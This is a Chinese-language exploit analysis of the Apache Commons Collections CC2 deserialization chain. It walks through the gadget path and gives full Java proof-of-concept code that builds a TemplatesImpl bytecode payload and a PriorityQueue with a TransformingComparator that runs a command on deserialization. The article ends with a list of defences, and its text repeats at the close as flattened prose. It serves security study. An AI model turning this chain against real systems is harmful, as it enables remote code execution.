"白痴"上帝视角调节反序列化链之CC2
字数 1038 2025-08-04 00:38:02

Apache Commons Collections 反序列化漏洞分析(CC2链)

漏洞概述

本文详细分析Apache Commons Collections反序列化漏洞中的CC2利用链,该漏洞允许攻击者通过构造特定的序列化数据,在目标系统上执行任意代码。

前置知识

Javassist动态编程

  • 用于动态生成和修改Java字节码
  • 可以看作加强版的反射机制
  • 关键功能:创建新类、修改类方法、生成字节码

反序列化基础

  • Java反序列化时会调用对象的readObject()方法
  • 通过构造恶意序列化对象可以触发漏洞

漏洞分析

关键类分析

PriorityQueue类

  • 反序列化入口点
  • readObject()方法调用链:
    readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> compare()
    

TransformingComparator类

  • 实现了Comparator接口
  • compare()方法中调用了transform()方法
  • transform()方法通过this.transformer执行操作

TemplatesImpl类

  • 提供字节码加载和执行能力
  • 关键调用链:
    newTransformer() -> getTransletInstance() -> defineTransletClasses() -> 
    loader.defineClass(_bytecodes[i]) -> _class[_transletIndex].newInstance()
    

漏洞利用条件

  1. TemplatesImpl类条件

    • _name字段不能为空
    • _bytecodes字段不能为空
    • 生成的类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
  2. PriorityQueue条件

    • 需要设置comparator为TransformingComparator实例
    • queue数组需要包含恶意对象

完整利用链

PriorityQueue.readObject() 
-> heapify() 
-> siftDown() 
-> siftDownUsingComparator() 
-> TransformingComparator.compare() 
-> InvokerTransformer.transform() 
-> TemplatesImpl.newTransformer() 
-> getTransletInstance() 
-> defineTransletClasses() 
-> loader.defineClass(_bytecodes[i]) 
-> _class[_transletIndex].newInstance()

漏洞利用步骤

1. 生成恶意类字节码

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
CtClass payload = classPool.makeClass("e0mlja");
payload.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();

2. 构造TemplatesImpl对象

Object templatesImpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
    .getDeclaredConstructor().newInstance();

// 设置_bytecodes字段
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});

// 设置_name字段
Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");

3. 构造TransformingComparator

InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);

4. 构造恶意PriorityQueue

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

// 设置comparator字段
Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);

// 设置queue字段
Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});

5. 触发反序列化

// 序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

// 反序列化触发漏洞
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

替代方案分析

直接使用Runtime对象

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new String[]{"calc.exe"});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);
queue.add(runtime);
queue.add(runtime);

// 修改queue字段
Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{Runtime.class, Runtime.class});

优缺点

  • 优点:简单直接,不需要动态生成类
  • 缺点:功能受限,只能执行命令;Runtime类不可序列化

防御措施

  1. 升级Apache Commons Collections到安全版本
  2. 使用反序列化过滤器
  3. 禁止反序列化不可信数据
  4. 使用安全管理器限制敏感操作

总结

CC2利用链通过PriorityQueue的反序列化过程,结合TransformingComparator和TemplatesImpl的特性,实现了任意代码执行。相比CC1链,CC2使用了不同的技术路线,但同样危险。理解这些利用链有助于更好地防御此类漏洞。

Apache Commons Collections 反序列化漏洞分析(CC2链) 漏洞概述 本文详细分析Apache Commons Collections反序列化漏洞中的CC2利用链,该漏洞允许攻击者通过构造特定的序列化数据,在目标系统上执行任意代码。 前置知识 Javassist动态编程 用于动态生成和修改Java字节码 可以看作加强版的反射机制 关键功能:创建新类、修改类方法、生成字节码 反序列化基础 Java反序列化时会调用对象的readObject()方法 通过构造恶意序列化对象可以触发漏洞 漏洞分析 关键类分析 PriorityQueue类 反序列化入口点 readObject()方法调用链: TransformingComparator类 实现了Comparator接口 compare()方法中调用了transform()方法 transform()方法通过this.transformer执行操作 TemplatesImpl类 提供字节码加载和执行能力 关键调用链: 漏洞利用条件 TemplatesImpl类条件 : _name 字段不能为空 _bytecodes 字段不能为空 生成的类必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet PriorityQueue条件 : 需要设置comparator为TransformingComparator实例 queue数组需要包含恶意对象 完整利用链 漏洞利用步骤 1. 生成恶意类字节码 2. 构造TemplatesImpl对象 3. 构造TransformingComparator 4. 构造恶意PriorityQueue 5. 触发反序列化 替代方案分析 直接使用Runtime对象 优缺点 : 优点:简单直接,不需要动态生成类 缺点:功能受限,只能执行命令;Runtime类不可序列化 防御措施 升级Apache Commons Collections到安全版本 使用反序列化过滤器 禁止反序列化不可信数据 使用安全管理器限制敏感操作 总结 CC2利用链通过PriorityQueue的反序列化过程,结合TransformingComparator和TemplatesImpl的特性,实现了任意代码执行。相比CC1链,CC2使用了不同的技术路线,但同样危险。理解这些利用链有助于更好地防御此类漏洞。